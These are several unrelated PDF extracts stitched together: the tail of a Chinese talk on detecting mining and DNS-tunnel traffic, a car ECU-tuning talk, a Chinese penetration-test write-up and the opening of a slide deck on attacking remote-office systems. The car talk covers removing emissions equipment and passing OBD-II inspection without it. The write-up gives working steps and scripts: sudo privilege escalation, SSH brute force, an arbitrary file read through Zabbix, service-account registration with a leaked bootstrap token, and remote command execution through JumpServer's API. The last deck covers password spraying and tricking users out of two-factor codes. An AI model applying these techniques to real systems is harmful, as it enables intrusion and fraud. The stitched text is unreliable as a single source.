数据包的强特征明显,可以针对数据包中的关键词 或者数据包中的结构进行检测 端口特征:Swarm项目在运行时默认使用1633, 1634,1635这三个端口来进行数据交换 加密流量:能够在握手协议和证书两个层面来做一 些事情。由于挖矿的特殊性,矿池的域名、证书是 不会轻易进行变化的,并且矿池的具有聚集属性, 即越大的矿池集合到的矿机越多,越能够保证收益 的稳定性。所以也可以针对排名较为靠前的矿池进 行域名和证书的收集,添加针对性的检测策略 SWARM挖矿 Jsonrpc协议 实践尝试 三大类域名(黑,白,灰)的明显不同的 统计特征 建立了一套基于AI+规则的DNS隧道流量 检测系统。现网检出的隧道流量大多还是 以正规厂商的DNS隧道及个人测试DNS 隧道工具为主(示例如下表所示)。可以 顺道发现一些与隧道相似(大量乱码域名 请求)的DGA域名 DNS隧道 隧道流量和普通流量信息熵 隧道流量和 普通流量域名编码特征 展望 04 展望 • 加密流量https,quic的解决 思路 • 基于黑特征的检测算法的失效 • 解决方案:接入解密网关;同 时对于某些场景,需要降低对 黑特征、关键字的依赖,综合 利用大数据、AI等手段,构建 基于行为的检测机制,比如木 马主控C&C行为的发现 挑战 THANKS THANKS
pdf
Hack your car for Boost and Power By Aaron Higbee [email protected] http://blog.phishme.com http://intrepidusgroup.com • This slide intentionally left blank. • Video clips Who Am I? • ASE certified mechanic? – Nope • CISSP – Not anymore, I spent my dues on  something useful, car parts. • I’m just a geek who loves technology, cars,  and hacks • I hacked my own car using google, Internet  forums, open source software, sweat, and  bloody knuckles • Thanks to Intrepidus Group What is this talk NOT about… • How to maintain your cars warranty in good  standing. • Staying “green”? Fuel economy? No way • Installing a computer in your car to play MP3s  and WoW? Nope. • Wardriving? That’s so 2002. What this talk IS about… • 0wning your car, to make it Faster • Introduction to modern computer controlled  engine management – Tools for ECU programming • Commercial and Open source – Car protocols – The role of difference sensors for electronic fuel  injection – Performance tuning theory Continued on next page… Continued: What this talk IS about… • What’s a dyno and how to get data without  one • Analyzing logs and making changes  • Turbochargers and supercharges • Fuel octane, ignition timing • Removing pesky emissions equipment Continued on next page… Continued: What this talk IS about… • Computer controlled alcohol or methanol to  cope with high boost and low quality fuel • Other ECU data and privacy concerns • ECU firmware piracy • Bypassing RFID chips in car keys • Car modification laws • ODBII emissions testing Continued on next page… Car hackers • American iron • Carburetor • Ignition advance • Dirt and grime How these guys did it… Their power making tools: And their secret weapon… Uncle Jesse’s moonshine… • Yeeeeeeehaw! Today’s car hackers… Today’s power  making tools: Some things remain the same… Then… And now… Moonshine , alcohol, methanol Dukes method… • Pour moonshine in the  general lee’s gas tank. • Result: Today’s method *Picture from aquamist.co.uk There’s no replacement for  displacement? 454 ci 8 cylinder big block 500hp • 7.44 liters 152 ci 4 cylinder 300hp • 2.5 liters Actually compressing air and fuel… Turbo size envy… Tools of the trade ECU  ‐ Engine Control Unit • The brain – just another  computer • Controls Fuel Injection • Controls Ignition timing • Programmable Methods of altering the code • Replacement ECUs • EPROM chips • Piggy Back ECUs • ECU re‐flashing Replacement ECUs • Standalone units  completely replace the  factory ECU • Upside – Enhanced features – Quick edits • Downside – No ODBII – Costly EPROM Chips • Early “Chip” tuning was  exactly that • Upside – Can alter the operation of  older ECUs • Downside – Slower – Set‐and‐forget, soldering,  etc.. Piggy Back ECUs • Think Man‐In‐The‐ Middle attack • Upside – Fast to market – Extra features – Quick Edits • Downside – Costly – Increased  complexity ECU Re‐flashing • Thank you ODBII – Every car, 1996  and up – Primarily for data  acquisition and  troubleshooting – Also used for  “firmware” updates Continued on next page… Continued: ECU Re‐flashing • The ECU is a  computer  loaded with software – ECUs occasionally have  bugs – nhtsa.dot.gov TSBs – Auto manufacturers fix  these with a re‐flash, often  times through the ODBII  port Continued on next page… Continued: ECU Re‐flashing • The auto manufactures don’t publish their re‐ flashing protocols.  • They don’t publish ECU code • $$$ Big business for reverse engineers – Would you pay $1000 dollars for a PSP firmware  update? Continued on next page… Continued: ECU Re‐flashing • Overview of how it’s done – Step one, crack the re‐ flashing protocol – Step two download the  ECU code – Step three map out ECU – Step four edit and re‐flash – Step five pray you didn’t  brick your ECU (or do something that will  blow up you car…) Continued on next page… • ^ Will that make  your car faster? • Or will your air  bags deploy when  you honk the horn? Continued: ECU Re‐flashing • $$$ Big Business – A lot of R&D is required – Expensive equipment – Anti‐Piracy methods • Special code – DRM? • Hardware tokens etc.. • Lawyers Continued on next page… Continued: ECU Re‐flashing • Then: take you car to a  “tuner” who licensed the  software – They charge you for the  license and tuning fees • Now: The industry is moving  to more DIY applications – Portable re‐flashers – Laptop and PDA based Continued on next page… Continued: ECU Re‐flashing • Portable tuners – Usually have preset  settings or “stages” • Increase performance • Change shift points • Account for larger  wheels • Security features to tie  the device to only one  vehicle • Pricing $400‐$1000 Continued on next page… Continued: ECU Re‐flashing • Laptop based tuners – Usually have preset  settings or “stages” – Typically give the end  user  more control • Increase performance • Also have anti‐copy  features $$$ Continued on next page… Continued: ECU Re‐flashing • Laptop based tuners – More control – Performance “Stages” – Highly customizable  Continued on next page… Continued: ECU Re‐flashing • Open Source re‐flashing – More on this later… – http://www.osecuroms.org – http://www.enginuity.org – http://www.openecu.org Continued on next page… So what can you do with complete  control over your ECU? Continued on next page… You can do a lot… of DAMAGE Piston Before: Piston After bad tune: ……… Connecting rod before: Connecting rod after: But you can also make PowAH! Stock 2006 Corvette • 6 liter V8 • 320 whp • 330 ft/lbs  torque • Brochure says  400 hp • ~23% drive train  loss • Wheel horse  power • Drive train loss • Every dyno is  different What's a Dyno? (dynamometer) • A tool to place load on  the engine to measure  power Before ECU tuning • 2.5 liter • 238 awhp • 242 ft/lbs  torque • Brochure  says 300 hp • ~25% drive  train loss After ECU tuning • …and some  parts • 397 awhp • 401 ft/lbs  torque • X 25% driveline  loss ==~500 hp Introduction to performance tuning • We cant be experts in 75 minutes, but we can  cover the fundamentals…. Electronic Fuel Injection • Topics for performance tuning  – Protocols – Important EFI sensors – Fuel, Spark, and Air – Boost – Data Acquisition Continued on next page… EFI Performance tuning Important sensors • Oxygen sensors (O2 sensors) • Mass Air Flow (MAF) • Manifold Absolute Pressure  (MAP) • Intake Air Temperature (IAT) • Throttle position sensor (TPS) • Coolant temperature • Knock sensor Continued on next page… EFI Performance tuning: Fuel • The ECU has to cope with  different grades and quality of  fuel • It processes data from the  different sensors • Based on information it gets from  MAF, MAP, and O2 sensors, it  determines an injector duty cycle  needed to reach a desired air fuel  ratio (AFR) Continued on next page… EFI Performance tuning: Fuel • A perfectly mixed batch of fuel and  air for total combustion is ~14.7  parts air to 1 part fuel • This is called stoichiometric – Apologies to the lambda folks – 14.7:1 ARF is also known as 1 lambda • Most engines makes the best power  running AFRs between 12.2:1 and  12.8:1 • More on octane later… Continued on next page… EFI Performance tuning: Fuel • An air fuel mixture is  ignited • Exhaust gases are  measured for oxygen • The ECU makes  adjustments to reach its  programmed AFR values Continued on next page… EFI Performance tuning: Fuel • Auto manufactures have many factors to cope with  when programming the desired air fuel ratios for: – Safety and engine longevity – Fuel economy – Emissions control – Altitude and fuel octane ratings • Different parts of the world have different grades of fuel • For instance premium octane in California is only 91 octane • Because the AFRs account for a wide variety of  conditions they are not optimized for max horsepower Continued on next page… EFI Performance tuning: Spark • The right mix of fuel needs to be ignited  at the right time • TDC – Top Dead Center – The highest point a piston can reach • Spark Advance – Adjusting the timing to fire the spark plug  before TDC is reached. (while the piston is  traveling up) – Measured in degrees • Spark retard Continued on next page… EFI Performance tuning: Spark • Advancing timing • Benefits: – Increased pressure, more powerful explosion ==  more power • The drawbacks: – Too much advance: • No additional power • Too much cylinder pressure • More prone to pre‐ignition • AKA detonation, aka knock • Remember this picture:  Continued on next page… EFI Performance tuning: Air • We will talk about knock  more later • Measuring air is necessary  to calculate the correct  fuel mix – Increased pressure, more  powerful explosion == more  power • Measuring air and  manifold pressure also  helps the ECU figure out  how much load it’s under Continued on next page… EFI Performance tuning: Air • Superchargers and  Turbochargers – Create “boost” – Increase cylinder  pressure – Increase heat • Boost is a volume knob – Huge Garrett GT4202   – 800+ whp Continued on next page… EFI Performance tuning: Air • More boost More problems – Boost pressurizes more air in the  cylinders.  The ECU needs to toss  more fuel into the mixture. – Fuel injectors, fuel pumps, and  motors all have physical  limitations • More vigilant maintenance – Most car owners aren't  responsible enough to care for  boosted motors Continued on next page… EFI Performance tuning: KNOCK Continued on next page… EFI Performance tuning: KNOCK • More boost More problems… • Knock is when the air fuel mixture ignites  without the ECU firing the spark plug – Knock occurs when temperature and cylinder  pressures are too high causing the mix to ignite  without spark – AKA “ping” “detonation” Continued on next page… EFI Performance tuning: KNOCK • Your motors is a precise orchestra of  explosions turning a crankshaft • Imagine what happens when one of these  cylinders fires out of sequence  Continued on next page… EFI Performance tuning: KNOCK • An ECU listens to knock  sensors attached to the  engine • If it detects knock, it will  switch to different  settings – Ex. Richer fuel, less  timing advance Continued on next page… EFI Performance tuning: KNOCK • Because auto manufactures play it safe, the  ECU can be remapped to make more power – Especially if you help the engine in other ways  ward off knock • This also helps take full advantage of  aftermarket parts because factory ECU  parts will only up the performance to a  certain point – Ex. A larger exhaust Continued on next page… Downloading and Re‐flashing • Protocols – CANOBD2 – ODB‐II – ISO9141‐2 K Line – ISO9141‐2 L Line – VW/Audi CAN BUS  ISO 11898/11519 – Subaru Select  Monitor (SSM) Continued on next page… Re‐flashing: Hardware • This is a USB to ODBII cable from tactrix.com • What is it?  “The OpenPort 1.3U is an USB device that interfaces between  your PC and car engine computers (ECUs) that use a ISO 9141‐ 2 compatible OBDII interface. It also contains special  hardware and connectors to allow it reprogram (reflash) most  modern (1996+) Mitsubishi ECUs and 2002+ Subaru ECUs. “ Continued on next page… • “What cars use ISO 9141‐2? Most all post‐1996 Chrysler,  European, and Asian vehicles.” Cost:  ~$90 Re‐flashing: Hardware • It has been used in  Windows, Linux, OSX • The openport cable is  recognized as a serial  COM port similar to a  USB ‐> Serial adapter • OpenECU.org’s ECUFlash comes with  a driver Continued on next page… Re‐flashing: Software • ECUflash from open  ECU.org Continued on next page… Re‐flashing: Software • Connect the  openport cable • Connect the  re‐flash  jumper cable • Turn ignition  to ON • Takes 3‐4  minutes Continued on next page… Re‐flashing: Software • Some helpful tips – Secure the openport cable • Make sure your laptop  has a full charge – (better to just plug it in) • Sit still during the re‐ flash ☺ Continued on next page… Data logging … Load Knock                     Mod   Mod Mod WB  RPM   MAP  MAF TPS Site Count  AFR  Ign#1  Inj#1  Ign Fuel Boost  MAF   AFR psia V   %                    deg   duty   deg    %   (CL)    V   3013  +5.1 3.1 104  30    00   13.3 +32.6   22.3 +21.7  ‐2.4 230.00 2.9  13.78 3129  +6.4 3.2 104  30    00   12.2 +31.4   24.7 +20.2  ‐2.4 230.00 3.0  12.61 3220  +8.2 3.3 104  40    00   12.0 +31.5   26.9 +18.9  ‐2.4 230.00 3.1  11.62 3418  +9.6 3.4 104  50    00   rich +29.7   29.7 +18.1  ‐2.2 230.00 3.2  11.55 3599 +11.5 3.5 104  50    00   rich +28.2   33.0 +17.6  ‐1.6 230.00 3.4  10.93 3741 +13.7 3.6 104  60    00   rich +25.3   40.3 +16.0  ‐2.2 230.00 3.6  10.93 3916 +16.8 3.9 104  80    00   rich +22.1   47.5 +16.7  ‐2.2 230.00 3.7  10.84 4105 +19.8 4.0 104  90    00   rich +17.4   59.7 +17.2  ‐1.4 230.00 4.0  10.86 4312 +21.2 4.0 104 100    00   rich +17.8   58.2 +18.3  ‐1.8 230.00 4.0  10.76 4623 +22.1 4.1 104 100    00   rich +20.1   63.1 +19.1  ‐3.0 230.00 3.9  10.81 4823 +22.5 4.2 104 100    00   rich +23.2   65.5 +19.5  ‐3.4 230.00 4.0  10.70 5159 +21.5 4.3 104 100    00   rich +21.7   71.5 +19.6  ‐3.3 230.00 4.0  10.74 5376 +21.7 4.4 104 100    00   rich +21.5   74.0 +20.2  ‐3.2 230.00 4.1  10.82 5500 +21.7 4.4 103 100    00   rich +21.5   78.5 +21.1  ‐3.2 230.00 4.1  10.86 5737 +21.7 4.4 104 100    00   rich +21.8   80.3 +21.5  ‐3.2 230.00 4.1  10.78 5878 +21.7 4.5 104 100    00   rich +23.4   79.0 +22.0  ‐3.2 230.00 4.2  10.78 6161 +21.7 4.5 104 100    00   rich +24.9   80.8 +22.0  ‐3.2 230.00 4.2  10.87 6385 +21.5 4.5 103 100    00   rich +26.0   81.4 +22.0  ‐3.1 230.00 4.2  10.93 Continued on next page… Data logging: Creating your own dyno • Long straight road • Low RPM • Mash the pedal to redline <Video clip here> Continued on next page… Data logging: Creating your own dyno • You may want  to purchase an  Intrusion  Detection  System for your  simulated dyno road pulls ☺ Continued on next page… Re‐flashing: ECU Editing Software • Enginuity ‐ Open  Source ECU Tuning  • http://www.enginui ty.org – Datalogging and  ROM editor Continued on next page… Re‐flashing: ECU Editing Software • Besides fuel, spark,  and boost, what  else? Continued on next page… Re‐flashing: ECU Editing Software • Besides fuel, spark, and boost, what else  can you do? “The CAA also required that vehicle  emissions inspection programs around  the country begin inspection of the  OBDII system. For several years, DEQ  has been preparing to implement an  OBDII inspection procedure. Effective  July 1, 2005, the new OBDII inspection  procedure became the official inspection  process for most 1996 and newer motor  vehicles.” Continued on next page… Re‐flashing: ECU Editing Software • Removing catalytic  converters for “off‐road  use only” • Some emissions  equipment limits full  power potential Continued on next page… Re‐flashing: ECU Editing Software • Before ECU edits Continued on next page… Re‐flashing: ECU Editing Software • With ECU edits, it’s a  two click effort • Does this work? “I passed with the  external dump tube,  they didn't even do  a visual....Just  plugged it into the  OBD II and passed  the car within 5  minutes.” Continued on next page… Re‐flashing: ECU Re‐Flash Software • Remember these  things? • $400‐$1000 ? • Companies spend  thousands on  research and  equipment  Continued on next page… Re‐flashing: ECU Re‐Flash Software • Free open source  tools can download  and re‐flash? • (It turns out we are  not the only ones  thinking about this…) Continued on next page… Re‐flashing: ECU Re‐Flash Software • Here is one of the first posts to the openecu.org forums: • (This was also sent as a private message to several forum  members) David‐EcuTeK writes: EcuTeK LLP wishes it to be known that it owns copyright in EcuTeK software and its supporting  documents and that it will act to protect these rights.  If you are concerned that you might have infringed our copyright or other intellectual property rights, or  that you might do so in the future, we would be happy to discuss ways that a reasonable and amicable  solution might be found.  David Power  *****************************EcuTeK 7 Union Buildings  Wallingford Road  … <snip> Knock is the power limiter • Dealing with knock • Remember this?  Octane and other  tricks for coping  with knock… Continued on next page… Fixing knock with octane • Octane and other tricks for coping with knock – Reduce cylinder temperatures • A richer AFR can cool the cylinder charge • Cool boosted air  – Intercoolers – Decrease cylinder pressure • Less ignition advance – Increase fuel octane A direct quote from Stone (p. 80): "The attraction of high octane  fuels is that they enable high compression ratios to be  used. Higher compression ratios give increased power output and  improved economy [assuming the same power of engine] ... The  octane number requirements for a given compression ratio vary  widely, but typically a compression ratio of 7.5 requires 85 octane  fuel, while a compression ratio of 10.0 requires 100 octane fuel. Continued on next page… Fixing knock with octane • This is why most re‐flashed cars and trucks  require premium grade fuels • The higher compression ratio is also why  turbocharged and supercharged motors  require premium octane – Higher octane fuels lets you  get away with  running more boost and more ignition advance  making more power Continued on next page… Super Duper Hi‐Tech stuff • What if you live in one of unfortunate states  that passes off 91 octane as premium fuel? • Mix in some E85  – 100 octane • Water injection – WWII Fighter planes – Cools combustion  – 50/50 Methanol  H20 Continued on next page… Super Duper Hi‐Tech stuff • The advantage of modern electronics is that  precise amounts can be injected at optimal  times Continued on next page… Super Duper Hi‐Tech stuff • Results… Before 50/50 methanol injection… • Knocking past 21psi of boost (1.45 BAR)  Continued on next page… Super Duper Hi‐Tech stuff • Results… • After 50/50 methanol injection… – Can run 25psi of boost (1.72 BAR) – Increase of +40whp (11%)  +87ft/lbs  (28%) • http://coolingmist.com/ • http://www.alcohol‐injection.com/ • http://www.snowperformance.net/ • http://www.aquamist.co.uk/ Stealing high end cars with re‐flashes  or standalone ECUs? • Car RFID Security System Cracked – "The NY Times reports that the security chip in  new auto keys has been cracked.“ • “The dealership told her it will cost another  $1000 labor to remove her car's computer,  send it to Lexus' computer repair center to  have it programmed for the new key, and  then re‐install it.” Is your car spying on you? • Motor Vehicle Event Data Recorders • It’s supposed to help analyze crash data • “AutoWeek reported that OnStar collects data  on near‐collisions and collisions and retains  this data for as long as 18 months.” • Under the Hood, with Big Brother:  http://www.autoweek.com/apps/pbcs.dll/arti cle?AID=/20041108/FREE/411080714 Some final thoughts • The green movement • Fuel economy legislation – Don’t forget about those  of us who enjoy driving • The ECU will play a big  role in enforcing fuel  economy • How about a law that  forces everybody to drive  40 MPH to conserve fuel? Questions? • Thanks and Greetz: ride5000   nhluhr hotrod   hippy Slorice TheMadScientist mick_the_ginge Freon Cdvma Jon [in CT]   cboles Tgui crazymike TurbojonLS Wolfplayer Richard L  x cntrk75   HighWayDrifter AcquaCow NavyBlueSubaru Crystal_Imprezav intrepidusgroup.com waterinection.info enginuity.org osecuroms.org openecu.org forums.nasioc.com OT crew  and  IDP
pdf
记⼀次渗透测试中的攻击路径,本⽂只对从zabbix权限到拿下内⽹jumpserver堡垒机权限的过 程进⾏介绍。 0x01 获取zabbix权限 内⽹扫描,发现了⼀个⾃研的资产监控平台,通过Django进⾏开发,且开了debug模式,在报 错的信息中,成功泄露了zabbix服务器和账号密码。 通过该zabbix账号密码,成功进⼊到zabbix的后台,且当前⽤户为管理员权限。 对zabbix系统上监控的主机进⾏观察,发现jumpserver服务器在zabbix监控主机中。想到wfox 关于zabbix权限利⽤的⽂章http://noahblog.360.cn/zabbixgong-ji-mian-wa-jue-yu-li- yong/,可以利⽤zabbix读jumpserver服务器的⽂件。 0x02 获取zabbix server权限 ⾸先添加zabbix脚本,在创建脚本的时候选择zabbix服务器 然后在监测-》最新数据下⾯筛选zabbix server,并下发脚本执⾏命令,成功获取zabbix服务 器权限。 在zabbix server上尝试利⽤zabbix_get命令读取⽂件,但是出现如下错误: 通过查阅资料且重新看了⼀下zabbix server的配置后发现,jumpserver是通过zabbix proxy进 ⾏数据上报,所以只能在jumpserver对应上报数据的zabbix proxy服务器上使⽤zabbix_get, 还有⼀种⽅法是wfox⽂章中的第6点,通过添加监控项进⾏⽂件读取。实际渗透过程中没有注 意到这个,⽽是通过拿下了zabbix proxy服务器权限来读取的。 0x03 获取zabbix proxy服务器权限 在获取了zabbix server服务器权限后,由于不能直接使⽤zabbix_get命令进⾏读⽂件,于是尝 试对zabbix server进⾏提权,使⽤https://github.com/worawit/CVE-2021-3156项⽬进⾏提 权(⾮常好⽤),服务器是centos,sudo版本为1.8.19p2, 直接使⽤exploit_defaults_mailer.py这个脚本进⾏提权,但是这个脚本在获取sudo版本的时候 有⼀些bug,需要⼿动修改⼀下第141⾏为当前sudo的版本: sudo_vers = [1, 8, 19] # get_sudo_version() 1 提权成功: 提权成功后,对主机进⾏信息收集,发现了⼀个数据库账号密码(user01/password),且同 时发现服务器上存在user01⽤户,于是尝试⽤(user01/password)进⾏SSH爆破,很幸运, 成功拿下了zabbix proxy服务器的权限。 0x04 zabbix任意⽂件读取(图⽚为本地环境测试) 在zabbix proxy服务器上,成功利⽤zabbix_get读取到了jumpserver服务器⽂件 于是思考如何利⽤zabbix任意⽂件读去获取jumpserver服务器权限,⾸先尝试读取jumpserver 的配置⽂件,默认位置是:/opt/jumpserver/config/config.txt jumpserver未对⽬录进⾏权限限制,可以读取到jumpserver的配置⽂件信息,但是jumpserver 默认是使⽤docker构建,且数据库和redis都没有映射出来,所以读取出来的redis和数据库账 号密码没办法直接利⽤。 于是本地搭建jumpserver环境,⾸先了解了/opt/jumpserver⽬录下的⽬录结构,⼜根据之前 jumpserver的⽇志⽂件泄露漏洞,想通过读取⽇志⽂件信息,进⽽获取jumpserver服务器权 限,默认的⽇志⽂件路径为:/opt/jumpserver/core/logs/jumpserver.log 但是zabbix_get读取⽂件内容存在限制,仅能读取⼩于64KB⼤⼩的⽂件, 翻了⼀下zabbix关于利⽤vfs.file.contents读⽂件的⽂档: https://www.zabbix.com/documentation/4.0/en/manual/config/items/itemtypes/zabbix _agent,发现除了vfs.file.contents外,还有⼀个vfs.file.regexp操作,⼤概的意思就是输出特 定正则匹配的某⼀⾏,然后可以指定从开始和结束的⾏号。 于是利⽤该⽅法写了⼀个简单的任意读⽂件的脚本(还不够完善): from future import print_function import subprocess target = "192.168.21.166" file = "/opt/jumpserver/core/logs/jumpserver.log" 1 2 3 4 5 6 for i in range(1, 2000): cmd = 'vfs.file.regexp[{file},".*",,{start},{end},]'.format(file=file, start=i, end=i+1) p = subprocess.Popen(["zabbix_get", "-s", target, "-k", cmd], stdout=su bprocess.PIPE) result, error = p.communicate() print(result, end="") 7 8 9 10 11 成功任意读取⽂件: 通过读取配置⽂件,尝试使⽤https://paper.seebug.org/1502/⽂章说的⽅法⽆果,且⽂章中 利⽤到的如下两个未授权接⼝,从jumpserver 2.6.2版本也被修复 /api/v1/authentication/connection-token/ /api/v1/users/connection-token/ 1 2 于是尝试读取redis的dump⽂件,想通过redis获取缓存中的session,读了很久但是没有读取 到,不知道是缓存中没有session还是其他原因。 还尝试通过读取数据库⽂件(/opt/jumpserver/mysql/data/jumpserver/)去获取配置信息, 但是数据库⽂件权限不够,没办法读。 0x05 jumpserver服务账号利⽤ 在读取的jumpserver配置⽂件中,发现了jumpserver的两个配置项SECRET_KEY和 BOOTSTRAP_TOKEN SECRET_KEY⽐较熟悉,是Django框架中的配置,BOOTSTRAP_TOKEN这个⽐较奇怪,对 jumpserver源码进⾏分析,发现BOOTSTRAP_TOKEN是jumpserver中注册服务账号时⽤来认 证的。 参考jumpserver的官⽅⽂档,https://docs.jumpserver.org/zh/master/dev/build, jumpserver的架构如下 jumpserver由多个服务组成,核⼼是core组件,还包括luna(JumpServer Web Terminal 前 端)、lina(前端 UI)、koko(JumpServer 字符协议资产连接组件,⽀持 SSH, Telnet, MySQL, Kubernets, SFTP, SQL Server)、lion(JumpServer 图形协议资产连接组件,⽀持 RDP, VNC)组件,各个组件与core之间通过API进⾏调⽤。 各个组件与core之间的API调⽤是通过AccessKey进⾏认证鉴权,AccessKey在服务启动时通 过BOOTSTRAP_TOKEN向core模块注册服务账号来获取的,下⾯是koko模块注册的代码 (https://github.com/jumpserver/koko/blob/00cee388993ee6e92889df24aa033d09ce1 32fc5/pkg/koko/koko.go) 调⽤ MustLoadValidAccessKey ⽅法返回AccessKey, 从⽂件中获取,如果没有则调⽤ MustRegisterTerminalAccount ⽅法,这个⽂件的位置 在:/opt/jumpserver/koko/data/keys/.access_key 注册TerminalAccount的流程如下: 实际注册服务账号的⽅法如下 请求 /api/v1/terminal/terminal-registrations/ 接⼝,并在 Authorization 头中带上 BootstrapToken 即可。 请求接⼝ curl http:192.168.21.166/api/v1/terminal/terminal-registrations/ -H "Auth orization: BootstrapToken M0ZDNTRENTYtODA4OS1DRTA0" data "name=test&comme nt=koko&type=koko" 1 会给你⼀个access key 或者也可以直接通过读取/opt/jumpserver/koko/data/keys/.access_key⽂件来获取access key。 access key利⽤ 有了access key后,就可以通过jumpserver的API进⾏利⽤,下⾯是通过jumpserver ops运维 接⼝执⾏命令。 1. ⾸先通过 /api/v1/assets/assets/?offset=0&limit=15&display=1&draw=1 接⼝找到想 要执⾏命令的主机 def get_assets_assets(jms_url, auth): url = jms_url + '/api/v1/assets/assets/?offset=0&limit=15&display=1&dra w=1' gmt_form = '%a, %d %b %Y %H:%M:%S GMT' headers = { 'Accept': 'application/json', 'X-JMS-ORG': '00000000-0000-0000-0000-000000000002', 'Date': datetime.datetime.utcnow().strftime(gmt_form) } response = requests.get(url, auth=auth, headers=headers) print(response.text) 1 2 3 4 5 6 7 8 9 10 11 这⾥需要记住主机的资产ID,和admin_user的内容。 2. 然后利⽤ api/v1/ops/command-executions 接⼝对指定主机执⾏命令 代码如下,修改data中的主机和run_as内容为第⼀步找到的id和admin_user,command为需 要执⾏的命令。 def get_ops_command_executions(jms_url, auth): url = jms_url + '/api/v1/ops/command-executions/' gmt_form = '%a, %d %b %Y %H:%M:%S GMT' headers = { 'Accept': 'application/json', 'X-JMS-ORG': '00000000-0000-0000-0000-000000000002', 1 2 3 4 5 6 'Date': datetime.datetime.utcnow().strftime(gmt_form) } data = {"hosts":["fdfafb91-7b0a-425a-b250-56599bfc761b"],"run_as":"9733 20fd-6f06-4f59-8758-8ee52b6f7283","command":"whoami"} response = requests.post(url, auth=auth, headers=headers, data=data) print(response.text) 7 8 9 10 11 12 13 3. 访问log_url,获取命令执⾏的结果。 def get_task_log(jms_url, auth): url = jms_url + '/api/v1/ops/celery/task/e70ce2ab-1831-46d0-a4d1-ecc968 dce298/log/' gmt_form = '%a, %d %b %Y %H:%M:%S GMT' headers = { 'Accept': 'application/json', 'X-JMS-ORG': '00000000-0000-0000-0000-000000000002', 'Date': datetime.datetime.utcnow().strftime(gmt_form) } response = requests.get(url, auth=auth, headers=headers) print(response.text) 1 2 3 4 5 6 7 8 9 10 11 完整的利⽤脚本如下: # Python 示例 # pip install requests drf-httpsig import requests, datetime, json from httpsig.requests_auth import HTTPSignatureAuth def get_auth(KeyID, SecretID): signature_headers = ['(request-target)', 'accept', 'date'] auth = HTTPSignatureAuth(key_id=KeyID, secret=SecretID, algorithm='hmac 1 2 3 4 5 6 7 8 -sha256', headers=signature_headers) return auth def get_user_info(jms_url, auth): url = jms_url + '/api/v1/users/users/' gmt_form = '%a, %d %b %Y %H:%M:%S GMT' headers = { 'Accept': 'application/json', 'X-JMS-ORG': '00000000-0000-0000-0000-000000000002', 'Date': datetime.datetime.utcnow().strftime(gmt_form) } response = requests.get(url, auth=auth, headers=headers) print(response.text) def post_ops_command_executions(jms_url, auth): url = jms_url + '/api/v1/ops/command-executions/' gmt_form = '%a, %d %b %Y %H:%M:%S GMT' headers = { 'Accept': 'application/json', 'X-JMS-ORG': '00000000-0000-0000-0000-000000000002', 'Date': datetime.datetime.utcnow().strftime(gmt_form) } data = {"hosts":["fdfafb91-7b0a-425a-b250-56599bfc761b"],"run_as":"9733 20fd-6f06-4f59-8758-8ee52b6f7283","command":"whoami"} response = requests.post(url, auth=auth, headers=headers, data=data) print(response.text) def get_task_log(jms_url, auth): url = jms_url + '/api/v1/ops/celery/task/e70ce2ab-1831-46d0-a4d1-ecc968 dce298/log/' gmt_form = '%a, %d %b %Y %H:%M:%S GMT' headers = { 'Accept': 'application/json', 'X-JMS-ORG': '00000000-0000-0000-0000-000000000002', 'Date': datetime.datetime.utcnow().strftime(gmt_form) } response = requests.get(url, auth=auth, headers=headers) print(response.text) def get_assets_assets(jms_url, auth): url = jms_url + '/api/v1/assets/assets/?offset=0&limit=15&display=1&dra w=1' gmt_form = '%a, %d %b %Y %H:%M:%S GMT' headers = { 'Accept': 'application/json', 'X-JMS-ORG': '00000000-0000-0000-0000-000000000002', 'Date': datetime.datetime.utcnow().strftime(gmt_form) } 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 response = requests.get(url, auth=auth, headers=headers) print(response.text) if name 'main': jms_url = 'http:192.168.21.166' KeyID = '75ed41cf-c41d-4117-a892-da9c76698d26' SecretID = 'ce3cdec3-df9e-439a-8824-2cefe15ec95f' auth = get_auth(KeyID, SecretID) get_task_log(jms_url, auth) # get_assets_assets(jms_url, auth) 58 59 60 61 62 63 64 65 66 67 68 69 70 ⾄此成功拿下jumpserver堡垒机。
pdf
!"#$%&'() 360高级攻防-灵腾实验室 – 赖志活 Wfox 0 !"#$%&'( 1 针对外网开放资产进行探测,定位远程办公类系统并进行攻击,以达到突破网络边界、窃取数 据的目的。 • VPN系统(深信服VPN、思科VPN) • 办公云桌面(Vmware Horizon、Citrix、深信服VDI) • 办公OA(泛微、致远、蓝凌、通达) • 邮件系统(Exchange、coremail、亿邮) !"#$%&'( – )*+'( 2 1. 收集用户名、密码规律 1) 用户名规律 • 常见用户名、姓名全拼zhangsan、名字缩写wangsm、姓名倒序sanzhang、工号01111 • 已有通讯录、top500、top1000、百家姓top50w 2) 密码规律 • 已知初始密码、弱口令、键盘密码 !"#$%&'( – )*+'( 3 2. 密码喷洒 动态代理池绕过登录限制接口,密码喷洒弱口令 POST /por/login_psw.csp?type=cs&dev=mac&language=zh_CN&encrypt=0 HTTP/1.1 Host: vpn.xxx.com Content-Type: application/x-www-form-urlencoded Content-Length: 49 svpn_name=test&svpn_password=test&svpn_rand_code= !"#$%&'( – )*+'( 4 2. 密码喷洒 • 爆破成功 • 爆破失败 !"#$%&'( – )*+'( 5 3. 双因子认证突破 • 手机验证码 1) 社工骗取验证码 • 手机动态口令 1) 综合其他社工途径获取到的VPN使用文档,得知动态令牌绑定过程 2) 尝试获取种子二维码,如邮箱、微信、企业IM、key文件等途径 • 机器码绑定 1) 初次登录可直接绑定机器 !"#$%&'( – )*+'( 6 4. 可达网段定位 除了导航页Web资源外,可查看本机路由表 route print定位所有可访问的内网网段。 网段10.128.0.0,掩码255.128.0.0 IP范围(10.128.0.0 – 10.255.255.255) !"#$%&'( – )*+'( 7 5. VPN内网扫描 从小到大的原则,添加单个IP资源或IP段,一般为重要应用系统 • 针对单个IP的资源进行探测(255.255.255.255) • 针对小C段进行探测(255.255.255.128-255) • 针对C段进行扫描(255.255.255.0) • 可达网段大范围扫描 !"#$%&'( – )*+ 8 !"#$%&'( – )*+ 9 1. 攻击入口 国内常见云桌面如Citrix、深信服VDI 、VMware Horizon,用途通常分为日常办公、开发环境、 测试环境、准生产环境等。 • 口令收集登录 • 弱口令喷洒 • 历史漏洞利用(Citrix) !"#$%&'( – )*+ 10 2. 横向手法 云桌面内访问的资源取决于当前云桌面的用途。 • 信息收集:浏览器记录、保存密码、其他用户目录的文件、共享盘文件 • 